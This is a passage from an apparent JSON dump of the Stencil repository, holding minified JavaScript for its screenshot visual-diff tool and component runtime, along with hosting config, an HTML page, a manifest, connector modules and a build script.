d(t,s,i){return.59597799*t-.2741761*s-.32180189*i}function f(t,s,i){return.21147017*t-.52261711*s+.31114694*i}function u(t,s){return 255+(t-255)*s}function p(t,s,i,e,n){t[s+0]=i,t[s+1]=e,t[s+2]=n,t[s+3]=255}function m(t,s,i,e){const n=u(c(t[s+0],t[s+1],t[s+2]),i*t[s+3]/255);p(e,s,n,n,n)}function g(t,s,i){if(y.has(s))return void i(y.get(s));if(w.has(s))return void w.get(s).push(i);w.set(s,[i]);const e=document.createElement(\"script\");e.src=`${t}screenshot_${s}.js`,document.head.appendChild(e)}window.loadScreenshot=(t,s)=>{const i=w.get(t);i&&(i.forEach(t=>t(s)),w.delete(t)),y.set(t,s)};const w=new Map,y=new Map;class v{constructor(i){t(this,i),this.imageASrc=null,this.imageBSrc=null,this.imageAClass=\"is-loading\",this.imageBClass=\"is-loading\",this.canvasClass=\"is-loading\",this.imagesLoaded=new Set,this.isImageALoaded=!1,this.isImageBLoaded=!1,this.isMismatchInitialized=!1,this.hasCalculatedMismatch=!1,this.compareLoaded=s(this,\"compareLoaded\",7)}componentWillLoad(){this.loadScreenshots()}componentWillUpdate(){this.loadScreenshots()}loadScreenshots(){if(this.show&&this.diff.hasIntersected)return this.diff.identical?(this.imageASrc=this.imagesUrl+this.diff.imageA,this.isImageALoaded=!0,this.imageAClass=\"has-loaded\",this.imageBSrc=this.imagesUrl+this.diff.imageB,this.isImageBLoaded=!0,void(this.imageBClass=\"has-loaded\")):void(this.isMismatchInitialized||(this.isMismatchInitialized=!0,null!=this.jsonpUrl?(null!=this.diff.imageA&&g(this.jsonpUrl,this.diff.imageA,t=>{this.imageASrc=t}),null!=this.diff.imageB&&g(this.jsonpUrl,this.diff.imageB,t=>{this.imageBSrc=t})):(this.imageASrc=this.imagesUrl+this.diff.imageA,this.imageBSrc=this.imagesUrl+this.diff.imageB)))}async compareImages(){const t=this.diff;this.isImageALoaded&&this.isImageBLoaded&&!this.hasCalculatedMismatch&&t.comparable&&(this.hasCalculatedMismatch=!0,t.mismatchedPixels=await function(t,s,i,e,n,a){let c=-1;try{const d=document.createElement(\"canvas\");d.width=e,d.height=n;const f=document.createElement(\"canvas\");f.width=e,f.height=n;const u=d.getContext(\"2d\");u.drawImage(t,0,0);const g=f.getContext(\"2d\");g.drawImage(s,0,0);const w=document.createElement(\"canvas\").getContext(\"2d\");w.drawImage(t,0,0),w.getImageData(0,0,e,n);const y=u.getImageData(0,0,e,n).data,v=g.getImageData(0,0,e,n).data,b=i.getContext(\"2d\"),x=b.createImageData(e,d.height);c=function(t,s,i,e,n,a){if(!o(t)||!o(s)||i&&!o(i))throw new Error(\"Image data: Uint8Array, Uint8ClampedArray or Buffer expected.\");if(t.length!==s.length||i&&i.length!==t.length)throw new Error(\"Image sizes do not match.\");if(t.length!==e*n*4)throw new Error(\"Image data size does not match width/height.\");a=Object.assign({},h,a);const c=e*n,d=new Uint32Array(t.buffer,t.byteOffset,c),f=new Uint32Array(s.buffer,s.byteOffset,c);let u=!0;for(let t=0;t<c;t++)if(d[t]!==f[t]){u=!1;break}if(u){if(i&&!a.diffMask)for(let s=0;s<c;s++)m(t,4*s,a.alpha,i);return 0}const g=35215*a.threshold*a.threshold;let w=0;for(let h=0;h<n;h++)for(let o=0;o<e;o++){const c=4*(h*e+o),d=l(t,s,c,c);Math.abs(d)>g?a.includeAA||!r(t,o,h,e,n,s)&&!r(s,o,h,e,n,t)?(i&&p(i,c,...d<0&&a.diffColorAlt||a.diffColor),w++):i&&!a.diffMask&&p(i,c,...a.aaColor):i&&(a.diffMask||m(t,c,a.alpha,i))}return w}(y,v,x.data,e,n,{threshold:a}),b.putImageData(x,0,0)}catch(t){console.error(t)}return c}(this.imageA,this.imageB,this.canvas,Math.round(t.width*t.deviceScaleFactor),Math.round(t.height*t.deviceScaleFactor),t.threshold),this.canvasClass=\"has-loaded\",n(t.imageA,t.imageB,t.mismatchedPixels,t.threshold),this.compareLoaded.emit(t))}render(){const t=this.diff,s={width:t.width+\"px\",height:t.height+\"px\"};return[i(\"compare-cell\",null,null!=t.imageA?i(\"a\",{href:this.imagesUrl+t.imageA,target:\"_blank\"},i(\"img\",{src:this.imageASrc,class:this.imageAClass,style:s,onLoad:this.diff.identical?null:()=>{this.isImageALoaded=!0,this.imageAClass=\"has-loaded\",this.compareImages()},ref:t=>this.imageA=t})):i(\"img\",{style:s,class:\"is-loading\"})),i(\"compare-cell\",null,null!=t.imageB?i(\"a\",{href:this.imagesUrl+t.imageB,target:\"_blank\"},i(\"img\",{src:this.imageBSrc,class:this.imageBClass,style:s,onLoad:this.diff.identical?null:()=>{this.isImageBLoaded=!0,this.imageBClass=\"has-loaded\",this.compareImages()},ref:t=>this.imageB=t})):i(\"img\",{style:s,class:\"is-loading\"})),i(\"compare-cell\",null,this.diff.identical?i(\"img\",{style:s,src:this.imageASrc}):i(\"canvas\",{width:Math.round(t.width*t.deviceScaleFactor),height:Math.round(t.height*t.deviceScaleFactor),class:this.canvasClass,style:s,hidden:!t.comparable,ref:t=>this.canvas=t})),i(\"compare-cell\",null,i(\"compare-analysis\",{aId:this.aId,bId:this.bId,mismatchedPixels:this.diff.mismatchedPixels,diff:this.diff}))]}get elm(){return e(this)}}v.style=\"compare-row img,compare-row canvas{display:block;box-shadow:var(--screenshot-box-shadow);border-radius:var(--screenshot-border-radius)}compare-row a{display:block}.is-loading{visibility:hidden}\";class b{constructor(s){t(this,s)}render(){if(!this.a||!this.b||!this.diffs)return;let t=0;this.diffs.forEach(s=>{s.width>t&&(t=s.width)}),t-=6;const s={width:t+\"px\"};return[i(\"th-cell\",null,i(\"div\",{style:s},i(\"a\",{href:this.a.url,target:\"_blank\"},this.a.message))),i(\"th-cell\",null,i(\"div\",{style:s},i(\"a\",{href:this.b.url,target:\"_blank\"},this.b.message))),i(\"th-cell\",null,i(\"div\",{style:s},i(\"a\",{href:`https://github.com/ionic-team/ionic/compare/${this.a.id}...${this.b.id}`,target:\"_blank\"},\"Compare: \",this.a.id,\" - \",this.b.id))),i(\"th-cell\",{class:\"analysis\"},i(\"div\",null,\"Analysis\"))]}}b.style=\":host{display:flex}th-cell{display:block;flex:1;font-weight:500;font-size:12px}th-cell div{padding-left:12px;padding-right:12px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}th-cell a{color:var(--font-color);text-decoration:none}th-cell a:hover{color:var(--analysis-data-color);text-decoration:underline}.analysis div{width:262px}\";export{v as compare_row,b as compare_thead}"
  },
  {
    "path": "screenshot/compare/build/p-fbbae598.js",
    "content": "let e,t,n,l=!1,o=!1,s=!1,r=0,i=!1;const c=\"undefined\"!=typeof window?window:{},a=c.document||{head:{}},f={t:0,l:\"\",jmp:e=>e(),raf:e=>requestAnimationFrame(e),ael:(e,t,n,l)=>e.addEventListener(t,n,l),rel:(e,t,n,l)=>e.removeEventListener(t,n,l)},u=e=>Promise.resolve(e),d=(()=>{try{return new CSSStyleSheet,!0}catch(e){}return!1})(),p={},$=(e,t,n)=>{n&&n.map(([n,l,o])=>{const s=e,r=m(t,o),i=h(n);f.ael(s,l,r,i),(t.o=t.o||[]).push(()=>f.rel(s,l,r,i))})},m=(e,t)=>n=>{256&e.t?e.s[t](n):(e.i=e.i||[]).push([t,n])},h=e=>0!=(2&e),y=\"http://www.w3.org/1999/xlink\",b=new WeakMap,w=e=>\"sc-\"+e.u,k={},v=e=>\"object\"==(e=typeof e)||\"function\"===e,g=(e,t,...n)=>{let l=null,o=null,s=null,r=!1,i=!1,c=[];const a=t=>{for(let n=0;n<t.length;n++)l=t[n],Array.isArray(l)?a(l):null!=l&&\"boolean\"!=typeof l&&((r=\"function\"!=typeof e&&!v(l))&&(l+=\"\"),r&&i?c[c.length-1].p+=l:c.push(r?S(null,l):l),i=r)};if(a(n),t){t.key&&(o=t.key),t.name&&(s=t.name);{const e=t.className||t.class;e&&(t.class=\"object\"!=typeof e?e:Object.keys(e).filter(t=>e[t]).join(\" \"))}}if(\"function\"==typeof e)return e(null===t?{}:t,c,M);const f=S(e,null);return f.$=t,c.length>0&&(f.m=c),f.h=o,f.k=s,f},S=(e,t)=>({t:0,v:e,p:t,g:null,m:null,$:null,h:null,k:null}),j={},M={forEach:(e,t)=>e.map(U).forEach(t),map:(e,t)=>e.map(U).map(t).map(C)},U=e=>({vattrs:e.$,vchildren:e.m,vkey:e.h,vname:e.k,vtag:e.v,vtext:e.p}),C=e=>{const t=S(e.vtag,e.vtext);return t.$=e.vattrs,t.m=e.vchildren,t.h=e.vkey,t.k=e.vname,t},R=(e,t,n,l,o,s)=>{if(n!==l){let r=de(e,t),i=t.toLowerCase();if(\"class\"===t){const t=e.classList,o=L(n),s=L(l);t.remove(...o.filter(e=>e&&!s.includes(e))),t.add(...s.filter(e=>e&&!o.includes(e)))}else if(\"style\"===t){for(const t in n)l&&null!=l[t]||(t.includes(\"-\")?e.style.removeProperty(t):e.style[t]=\"\");for(const t in l)n&&l[t]===n[t]||(t.includes(\"-\")?e.style.setProperty(t,l[t]):e.style[t]=l[t])}else if(\"key\"===t);else if(\"ref\"===t)l&&l(e);else if(r||\"o\"!==t[0]||\"n\"!==t[1]){const c=v(l);if((r||c&&null!==l)&&!o)try{if(e.tagName.includes(\"-\"))e[t]=l;else{let o=null==l?\"\":l;\"list\"===t?r=!1:null!=n&&e[t]==o||(e[t]=o)}}catch(e){}let a=!1;i!==(i=i.replace(/^xlink\\:?/,\"\"))&&(t=i,a=!0),null==l||!1===l?a?e.removeAttributeNS(y,t):e.removeAttribute(t):(!r||4&s||o)&&!c&&(l=!0===l?\"\":l,a?e.setAttributeNS(y,t,l):e.setAttribute(t,l))}else t=\"-\"===t[2]?t.slice(3):de(c,i)?i.slice(2):i[2]+t.slice(3),n&&f.rel(e,t,n,!1),l&&f.ael(e,t,l,!1)}},x=/\\s/,L=e=>e?e.split(x):[],O=(e,t,n,l)=>{const o=11===t.g.nodeType&&t.g.host?t.g.host:t.g,s=e&&e.$||k,r=t.$||k;for(l in s)l in r||R(o,l,s[l],void 0,n,t.t);for(l in r)R(o,l,s[l],r[l],n,t.t)},P=(o,r,i,c)=>{let f,u,d,p=r.m[i],$=0;if(l||(s=!0,\"slot\"===p.v&&(e&&c.classList.add(e+\"-s\"),p.t|=p.m?2:1)),null!==p.p)f=p.g=a.createTextNode(p.p);else if(1&p.t)f=p.g=a.createTextNode(\"\");else if(f=p.g=a.createElement(2&p.t?\"slot-fb\":p.v),O(null,p,!1),null!=e&&f[\"s-si\"]!==e&&f.classList.add(f[\"s-si\"]=e),p.m)for($=0;$<p.m.length;++$)u=P(o,p,$,f),u&&f.appendChild(u);return f[\"s-hn\"]=n,3&p.t&&(f[\"s-sr\"]=!0,f[\"s-cr\"]=t,f[\"s-sn\"]=p.k||\"\",d=o&&o.m&&o.m[i],d&&d.v===p.v&&o.g&&T(o.g,!1)),f},T=(e,t)=>{f.t|=1;const l=e.childNodes;for(let e=l.length-1;e>=0;e--){const o=l[e];o[\"s-hn\"]!==n&&o[\"s-ol\"]&&(A(o).insertBefore(o,q(o)),o[\"s-ol\"].remove(),o[\"s-ol\"]=void 0,s=!0),t&&T(o,t)}f.t&=-2},E=(e,t,l,o,s,r)=>{let i,c=e[\"s-cr\"]&&e[\"s-cr\"].parentNode||e;for(c.shadowRoot&&c.tagName===n&&(c=c.shadowRoot);s<=r;++s)o[s]&&(i=P(null,l,s,e),i&&(o[s].g=i,c.insertBefore(i,q(t))))},W=(e,t,n,l,s)=>{for(;t<=n;++t)(l=e[t])&&(s=l.g,z(l),o=!0,s[\"s-ol\"]?s[\"s-ol\"].remove():T(s,!0),s.remove())},D=(e,t)=>e.v===t.v&&(\"slot\"===e.v?e.k===t.k:e.h===t.h),q=e=>e&&e[\"s-ol\"]||e,A=e=>(e[\"s-ol\"]?e[\"s-ol\"]:e).parentNode,F=(e,t)=>{const n=t.g=e.g,l=e.m,o=t.m,s=t.p;let r;null===s?(\"slot\"===t.v||O(e,t,!1),null!==l&&null!==o?((e,t,n,l)=>{let o,s,r=0,i=0,c=0,a=0,f=t.length-1,u=t[0],d=t[f],p=l.length-1,$=l[0],m=l[p];for(;r<=f&&i<=p;)if(null==u)u=t[++r];else if(null==d)d=t[--f];else if(null==$)$=l[++i];else if(null==m)m=l[--p];else if(D(u,$))F(u,$),u=t[++r],$=l[++i];else if(D(d,m))F(d,m),d=t[--f],m=l[--p];else if(D(u,m))\"slot\"!==u.v&&\"slot\"!==m.v||T(u.g.parentNode,!1),F(u,m),e.insertBefore(u.g,d.g.nextSibling),u=t[++r],m=l[--p];else if(D(d,$))\"slot\"!==u.v&&\"slot\"!==m.v||T(d.g.parentNode,!1),F(d,$),e.insertBefore(d.g,u.g),d=t[--f],$=l[++i];else{for(c=-1,a=r;a<=f;++a)if(t[a]&&null!==t[a].h&&t[a].h===$.h){c=a;break}c>=0?(s=t[c],s.v!==$.v?o=P(t&&t[i],n,c,e):(F(s,$),t[c]=void 0,o=s.g),$=l[++i]):(o=P(t&&t[i],n,i,e),$=l[++i]),o&&A(u.g).insertBefore(o,q(u.g))}r>f?E(e,null==l[p+1]?null:l[p+1].g,n,l,i,p):i>p&&W(t,r,f)})(n,l,t,o):null!==o?(null!==e.p&&(n.textContent=\"\"),E(n,null,t,o,0,o.length-1)):null!==l&&W(l,0,l.length-1)):(r=n[\"s-cr\"])?r.parentNode.textContent=s:e.p!==s&&(n.data=s)},N=e=>{let t,n,l,o,s,r,i=e.childNodes;for(n=0,l=i.length;n<l;n++)if(t=i[n],1===t.nodeType){if(t[\"s-sr\"])for(s=t[\"s-sn\"],t.hidden=!1,o=0;o<l;o++)if(i[o][\"s-hn\"]!==t[\"s-hn\"])if(r=i[o].nodeType,\"\"!==s){if(1===r&&s===i[o].getAttribute(\"slot\")){t.hidden=!0;break}}else if(1===r||3===r&&\"\"!==i[o].textContent.trim()){t.hidden=!0;break}N(t)}},H=[],V=e=>{let t,n,l,s,r,i,c=0,a=e.childNodes,f=a.length;for(;c<f;c++){if(t=a[c],t[\"s-sr\"]&&(n=t[\"s-cr\"]))for(l=n.parentNode.childNodes,s=t[\"s-sn\"],i=l.length-1;i>=0;i--)n=l[i],n[\"s-cn\"]||n[\"s-nr\"]||n[\"s-hn\"]===t[\"s-hn\"]||(_(n,s)?(r=H.find(e=>e.S===n),o=!0,n[\"s-sn\"]=n[\"s-sn\"]||s,r?r.j=t:H.push({j:t,S:n}),n[\"s-sr\"]&&H.map(e=>{_(e.S,n[\"s-sn\"])&&(r=H.find(e=>e.S===n),r&&!e.j&&(e.j=r.j))})):H.some(e=>e.S===n)||H.push({S:n}));1===t.nodeType&&V(t)}},_=(e,t)=>1===e.nodeType?null===e.getAttribute(\"slot\")&&\"\"===t||e.getAttribute(\"slot\")===t:e[\"s-sn\"]===t||\"\"===t,z=e=>{e.$&&e.$.ref&&e.$.ref(null),e.m&&e.m.map(z)},B=e=>ae(e).M,G=(e,t,n)=>{const l=B(e);return{emit:e=>I(l,t,{bubbles:!!(4&n),composed:!!(2&n),cancelable:!!(1&n),detail:e})}},I=(e,t,n)=>{const l=new CustomEvent(t,n);return e.dispatchEvent(l),l},J=(e,t)=>{t&&!e.U&&t[\"s-p\"]&&t[\"s-p\"].push(new Promise(t=>e.U=t))},K=(e,t)=>{if(e.t|=16,!(4&e.t))return J(e,e.C),Me(()=>Q(e,t));e.t|=512},Q=(e,t)=>{const n=e.s;let l;return t?(e.t|=256,e.i&&(e.i.map(([e,t])=>te(n,e,t)),e.i=null),l=te(n,\"componentWillLoad\")):l=te(n,\"componentWillUpdate\"),ne(l,()=>X(e,n,t))},X=(r,i,c)=>{const u=r.M,d=u[\"s-rc\"];c&&(e=>{const t=e.R,n=e.M,l=t.t,o=((e,t)=>{let n=w(t),l=he.get(n);if(e=11===e.nodeType?e:a,l)if(\"string\"==typeof l){let t,o=b.get(e=e.head||e);o||b.set(e,o=new Set),o.has(n)||(t=a.createElement(\"style\"),t.innerHTML=l,e.insertBefore(t,e.querySelector(\"link\")),o&&o.add(n))}else e.adoptedStyleSheets.includes(l)||(e.adoptedStyleSheets=[...e.adoptedStyleSheets,l]);return n})(n.shadowRoot?n.shadowRoot:n.getRootNode(),t);10&l&&(n[\"s-sc\"]=o,n.classList.add(o+\"-h\"))})(r),((r,i)=>{const c=r.M,u=r.R,d=r.L||S(null,null),p=(e=>e&&e.v===j)(i)?i:g(null,null,i);if(n=c.tagName,u.O&&(p.$=p.$||{},u.O.map(([e,t])=>p.$[t]=c[e])),p.v=null,p.t|=4,r.L=p,p.g=d.g=c.shadowRoot||c,e=c[\"s-sc\"],t=c[\"s-cr\"],l=0!=(1&u.t),o=!1,F(d,p),f.t|=1,s){let e,t,n,l,o,s;V(p.g);let r=0;for(;r<H.length;r++)e=H[r],t=e.S,t[\"s-ol\"]||(n=a.createTextNode(\"\"),n[\"s-nr\"]=t,t.parentNode.insertBefore(t[\"s-ol\"]=n,t));for(r=0;r<H.length;r++)if(e=H[r],t=e.S,e.j){for(l=e.j.parentNode,o=e.j.nextSibling,n=t[\"s-ol\"];n=n.previousSibling;)if(s=n[\"s-nr\"],s&&s[\"s-sn\"]===t[\"s-sn\"]&&l===s.parentNode&&(s=s.nextSibling,!s||!s[\"s-nr\"])){o=s;break}(!o&&l!==t.parentNode||t.nextSibling!==o)&&t!==o&&(!t[\"s-hn\"]&&t[\"s-ol\"]&&(t[\"s-hn\"]=t[\"s-ol\"].parentNode.nodeName),l.insertBefore(t,o))}else 1===t.nodeType&&(t.hidden=!0)}o&&N(p.g),f.t&=-2,H.length=0})(r,Y(r,i)),d&&(d.map(e=>e()),u[\"s-rc\"]=void 0);{const e=u[\"s-p\"],t=()=>Z(r);0===e.length?t():(Promise.all(e).then(t),r.t|=4,e.length=0)}},Y=(e,t)=>{try{t=t.render&&t.render(),e.t&=-17,e.t|=2}catch(e){pe(e)}return t},Z=e=>{const t=e.M,n=e.s,l=e.C;64&e.t?te(n,\"componentDidUpdate\"):(e.t|=64,le(t),te(n,\"componentDidLoad\"),e.P(t),l||ee()),e.U&&(e.U(),e.U=void 0),512&e.t&&Se(()=>K(e,!1)),e.t&=-517},ee=()=>{le(a.documentElement),f.t|=2,Se(()=>I(c,\"appload\",{detail:{namespace:\"app\"}}))},te=(e,t,n)=>{if(e&&e[t])try{return e[t](n)}catch(e){pe(e)}},ne=(e,t)=>e&&e.then?e.then(t):t(),le=e=>e.classList.add(\"hydrated\"),oe=(e,t,n)=>{if(t.T){e.watchers&&(t.W=e.watchers);const l=Object.entries(t.T),o=e.prototype;if(l.map(([e,[l]])=>{(31&l||2&n&&32&l)&&Object.defineProperty(o,e,{get(){return((e,t)=>ae(this).D.get(t))(0,e)},set(n){((e,t,n,l)=>{const o=ae(this),s=o.D.get(t),r=o.t,i=o.s;if(n=((e,t)=>null==e||v(e)?e:4&t?\"false\"!==e&&(\"\"===e||!!e):2&t?parseFloat(e):1&t?e+\"\":e)(n,l.T[t][0]),!(8&r&&void 0!==s||n===s)&&(o.D.set(t,n),i)){if(l.W&&128&r){const e=l.W[t];e&&e.map(e=>{try{i[e](n,s,t)}catch(e){pe(e)}})}2==(18&r)&&K(o,!1)}})(0,e,n,t)},configurable:!0,enumerable:!0})}),1&n){const n=new Map;o.attributeChangedCallback=function(e,t,l){f.jmp(()=>{const t=n.get(e);this[t]=(null!==l||\"boolean\"!=typeof this[t])&&l})},e.observedAttributes=l.filter(([e,t])=>15&t[0]).map(([e,l])=>{const o=l[1]||e;return n.set(o,e),512&l[0]&&t.O.push([e,o]),o})}}return e},se=e=>{te(e,\"connectedCallback\")},re=(e,t={})=>{const n=[],l=t.exclude||[],o=c.customElements,s=a.head,r=s.querySelector(\"meta[charset]\"),i=a.createElement(\"style\"),u=[];let p,m=!0;Object.assign(f,t),f.l=new URL(t.resourcesUrl||\"./\",a.baseURI).href,t.syncQueue&&(f.t|=4),e.map(e=>e[1].map(t=>{const s={t:t[0],u:t[1],T:t[2],q:t[3]};s.T=t[2],s.q=t[3],s.O=[],s.W={};const r=s.u,i=class extends HTMLElement{constructor(e){super(e),ue(e=this,s),1&s.t&&e.attachShadow({mode:\"open\"})}connectedCallback(){p&&(clearTimeout(p),p=null),m?u.push(this):f.jmp(()=>(e=>{if(0==(1&f.t)){const t=ae(e),n=t.R,l=()=>{};if(1&t.t)$(e,t,n.q),se(t.s);else{t.t|=1,12&n.t&&(e=>{const t=e[\"s-cr\"]=a.createComment(\"\");t[\"s-cn\"]=!0,e.insertBefore(t,e.firstChild)})(e);{let n=e;for(;n=n.parentNode||n.host;)if(n[\"s-p\"]){J(t,t.C=n);break}}n.T&&Object.entries(n.T).map(([t,[n]])=>{if(31&n&&e.hasOwnProperty(t)){const n=e[t];delete e[t],e[t]=n}}),Se(()=>(async(e,t,n,l,o)=>{if(0==(32&t.t)){t.t|=32;{if((o=me(n)).then){const e=()=>{};o=await o,e()}o.isProxied||(n.W=o.watchers,oe(o,n,2),o.isProxied=!0);const e=()=>{};t.t|=8;try{new o(t)}catch(e){pe(e)}t.t&=-9,t.t|=128,e(),se(t.s)}const e=w(n);if(!he.has(e)&&o.style){const t=()=>{};((e,t,n)=>{let l=he.get(e);d&&n?(l=l||new CSSStyleSheet,l.replace(t)):l=t,he.set(e,l)})(e,o.style,!!(1&n.t)),t()}}const s=t.C,r=()=>K(t,!0);s&&s[\"s-rc\"]?s[\"s-rc\"].push(r):r()})(0,t,n))}l()}})(this))}disconnectedCallback(){f.jmp(()=>(()=>{if(0==(1&f.t)){const e=ae(this),t=e.s;e.o&&(e.o.map(e=>e()),e.o=void 0),te(t,\"disconnectedCallback\"),te(t,\"componentDidUnload\")}})())}forceUpdate(){(()=>{{const e=ae(this);e.M.isConnected&&2==(18&e.t)&&K(e,!1)}})()}componentOnReady(){return ae(this).A}};s.F=e[0],l.includes(r)||o.get(r)||(n.push(r),o.define(r,oe(i,s,1)))})),i.innerHTML=n+\"{visibility:hidden}.hydrated{visibility:inherit}\",i.setAttribute(\"data-styles\",\"\"),s.insertBefore(i,r?r.nextSibling:s.firstChild),m=!1,u.length?u.map(e=>e.connectedCallback()):f.jmp(()=>p=setTimeout(ee,30))},ie=(e,t)=>t in p?p[t]:\"window\"===t?c:\"document\"===t?a:\"isServer\"!==t&&\"isPrerender\"!==t&&(\"isClient\"===t||(\"resourcesUrl\"===t||\"publicPath\"===t?(()=>{const e=new URL(\".\",f.l);return e.origin!==c.location.origin?e.href:e.pathname})():\"queue\"===t?{write:Me,read:je,tick:{then:e=>Se(e)}}:void 0)),ce=new WeakMap,ae=e=>ce.get(e),fe=(e,t)=>ce.set(t.s=e,t),ue=(e,t)=>{const n={t:0,M:e,R:t,D:new Map};return n.A=new Promise(e=>n.P=e),e[\"s-p\"]=[],e[\"s-rc\"]=[],$(e,n,t.q),ce.set(e,n)},de=(e,t)=>t in e,pe=e=>console.error(e),$e=new Map,me=e=>{const t=e.u.replace(/-/g,\"_\"),n=e.F,l=$e.get(n);return l?l[t]:import(`./${n}.entry.js`).then(e=>($e.set(n,e),e[t]),pe)},he=new Map,ye=[],be=[],we=[],ke=(e,t)=>n=>{e.push(n),i||(i=!0,t&&4&f.t?Se(ge):f.raf(ge))},ve=(e,t)=>{let n=0,l=0;for(;n<e.length&&(l=performance.now())<t;)try{e[n++](l)}catch(e){pe(e)}n===e.length?e.length=0:0!==n&&e.splice(0,n)},ge=()=>{r++,(e=>{for(let t=0;t<e.length;t++)try{e[t](performance.now())}catch(e){pe(e)}e.length=0})(ye);{const e=2==(6&f.t)?performance.now()+14*Math.ceil(.1*r):1/0;ve(be,e),ve(we,e),be.length>0&&(we.push(...be),be.length=0),(i=ye.length+be.length+we.length>0)?f.raf(ge):r=0}},Se=e=>u().then(e),je=ke(ye,!1),Me=ke(be,!0),Ue=()=>u(),Ce=()=>{const e=import.meta.url,t={};return\"\"!==e&&(t.resourcesUrl=new URL(\".\",e).href),u(t)};export{Ue as a,re as b,ie as c,G as d,B as g,g as h,Ce as p,fe as r}"
  },
  {
    "path": "screenshot/compare/host.config.json",
    "content": "{\n  \"hosting\": {\n    \"headers\": [\n      {\n        \"source\": \"/build/p-*\",\n        \"headers\": [\n          {\n            \"key\": \"Cache-Control\",\n            \"value\": \"max-age=31556952, s-maxage=31556952, immutable\"\n          }\n        ]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "screenshot/compare/index.html",
    "content": "<!doctype html><html dir=\"ltr\" lang=\"en\"><head> <meta charset=\"utf-8\"> <title>Stencil Screenshot Visual Diff</title> <meta name=\"viewport\" content=\"viewport-fit=cover, width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\"> <meta name=\"theme-color\" content=\"#16161d\"> <meta name=\"format-detection\" content=\"telephone=no\"> <meta name=\"msapplication-tap-highlight\" content=\"no\"> <meta name=\"apple-mobile-web-app-capable\" content=\"yes\"> <meta name=\"apple-mobile-web-app-title\" content=\"Screenshot\"> <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\"> <meta http-equiv=\"x-ua-compatible\" content=\"IE=Edge\"> <link rel=\"modulepreload\" href=\"/build/p-7b4e3ba7.js\"><link rel=\"modulepreload\" href=\"/build/p-227a1e18.entry.js\"><link rel=\"modulepreload\" href=\"/build/p-9b6a9315.js\"><link rel=\"modulepreload\" href=\"/build/p-e2efe0df.js\"><link rel=\"modulepreload\" href=\"/build/p-fbbae598.js\"><script type=\"module\" src=\"/build/p-7b4e3ba7.js\" data-stencil data-resources-url=\"/build/\" data-stencil-namespace=\"app\"></script> <script nomodule=\"\" src=\"/build/app.js\" data-stencil></script> <style>:root{--font-family:-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;--font-color:rgb(32, 32, 32);--background-color:#f7f8fb;--breadcrumb-color:#8e9bb2;--header-box-shadow:0px 1px 4px rgba(0, 12, 32, 0.12), 0px 1px 0px rgba(0,12,32,0.02);--screenshot-box-shadow:0px 0px 4px rgba(0, 0, 0, 0.08), 0px 1px 3px rgba(0,0,0,0.12);--screenshot-border-radius:4px;--analysis-data-font-size:12px;--analysis-data-color:rgb(111, 111, 111)}*{box-sizing:border-box}body{padding:0;margin:0;font-family:var(--font-family);background:var(--background-color);color:var(--font-color)}compare-table{display:table;width:100%;margin-top:84px;margin-bottom:12px}compare-tbody{display:table-row-group}compare-tbody compare-cell{padding-top:12px}compare-row{display:table-row}compare-row[hidden]{display:none}compare-cell{display:table-cell;vertical-align:top;padding:3px 10px}body{overflow:hidden;position:absolute;width:100%;height:100vh}screenshot-compare{position:absolute;display:block;top:0px;width:100%;height:100vh}compare-header{display:block;position:absolute;z-index:1;display:block;top:0;left:-100px;padding-left:100px;width:calc(100% + 200px);height:84px}compare-thead{position:relative;top:64px;z-index:1}.scroll-x{position:absolute;top:0;width:100%;height:100vh;overflow-x:scroll;overflow-y:hidden}.scroll-y{position:absolute;top:0;height:100vh;overflow-x:hidden;overflow-y:scroll;-webkit-overflow-scrolling:touch;will-change:scroll-position}</style> <link rel=\"icon\" type=\"image/x-icon\" href=\"/assets/favicon.ico\"> <link rel=\"apple-touch-icon\" href=\"/assets/favicon.ico\"> <link rel=\"manifest\" href=\"/manifest.json\"> </head> <body> <app-root class=\"full-screen\"></app-root> </body></html>"
  },
  {
    "path": "screenshot/compare/manifest.json",
    "content": "{\n  \"name\": \"Screenshot\",\n  \"short_name\": \"Screenshot\",\n  \"start_url\": \"/\",\n  \"display\": \"standalone\",\n  \"icons\": [{\n    \"src\": \"/assets/favicon.ico\",\n    \"sizes\": \"192x192\",\n    \"type\": \"image/x-icon\"\n  }],\n  \"background_color\": \"#488aff\",\n  \"theme_color\": \"#488aff\"\n}"
  },
  {
    "path": "screenshot/connector.js",
    "content": "const { ScreenshotConnector } = require('./index.js');\nmodule.exports = ScreenshotConnector;\n"
  },
  {
    "path": "screenshot/local-connector.js",
    "content": "const { ScreenshotLocalConnector } = require('./index.js');\nmodule.exports = ScreenshotLocalConnector;\n"
  },
  {
    "path": "scripts/build.ts",
    "content": "import { buildCli } from './esbuild/cli';\nimport { buildCompiler } from './esbuild/compiler';\nimport { buildDevServer } from './esbuild/dev-server';\nimport { buildInternal } from './esbuild/internal';\nimport { buildMockDoc } from './esbuild/mock-doc';\nimport { buildScreenshot } from './esbuild/screenshot';\nimport { buildSysNode } from './esbuild/sys-node';\nimport { buildTesting } from './esbuild/testing';\nimport { release } from './release';\nimport { validateBuild } from './test/validate-build';\nimport { BuildOptions, getOptions } from './utils/options';\n\n// the main entry point for the build\nexport async function run(rootDir: string, args: ReadonlyArray<string>) {\n  const opts = getOptions(process.cwd(), {\n    isProd: args.includes('--prod'),\n    isCI: args.includes('--ci'),\n    isWatch: args.includes('--watch'),\n  });\n\n  try {\n    if (args.includes('--release')) {\n      await release(rootDir, args);\n      return;\n    }\n\n    if (args.includes('--validate-build')) {\n      await validateBuild(rootDir);\n      return;\n    }\n    await buildAll(opts);\n  } catch (e) {\n    console.error(e);\n    process.exit(1);\n  }\n}\n\nexport async function buildAll(opts: BuildOptions) {\n  await Promise.all([\n    buildCli(opts),\n    buildCompiler(opts),\n    buildDevServer(opts),\n    buildMockDoc(opts),\n    buildScreenshot(opts),\n    buildSysNode(opts),\n    buildTesting(opts),\n    buildInternal(opts),\n  ]);\n}\n"
  },
  {
    "path": "scripts/esbuild/cli.ts",
